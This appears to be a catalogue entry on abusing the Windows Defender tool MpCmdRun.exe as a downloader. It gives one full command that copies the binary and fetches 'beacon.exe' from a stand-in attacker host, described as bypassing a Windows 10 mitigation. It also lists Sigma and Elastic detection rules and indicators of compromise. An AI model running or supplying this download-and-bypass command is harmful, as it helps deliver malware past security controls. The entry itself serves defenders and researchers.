Binary part of Windows Defender. Used to manage settings in Windows Defender
copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url https://attacker.server/beacon.exe -path C:\Users\Public\Downloads\evil.exe
Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path) [updated version to bypass Windows 10 mitigation]
Download file
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.4-0\MpCmdRun.exe, C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.7-0\MpCmdRun.exe, C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/159bf4bbc103cc2be3fef4b7c2e7c8b23b63fd10/rules/windows/process_creation/win_susp_mpcmdrun_download.yml, Elastic: https://github.com/elastic/detection-rules/blob/6ef5c53b0c15e344f0f2d1649941391aea6fa253/rules/windows/command_and_control_remote_file_copy_mpcmdrun.toml, IOC: MpCmdRun storing data into alternate data streams., IOC: MpCmdRun retrieving a file from a remote machine or the internet that is not expected., IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe., IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log, IOC: User Agent is "MpCommunication"
Askar (@mohammadaskar2), Oddvar Moe (@oddvarmoe), RichRumble, Cedric (@th3c3dr1c)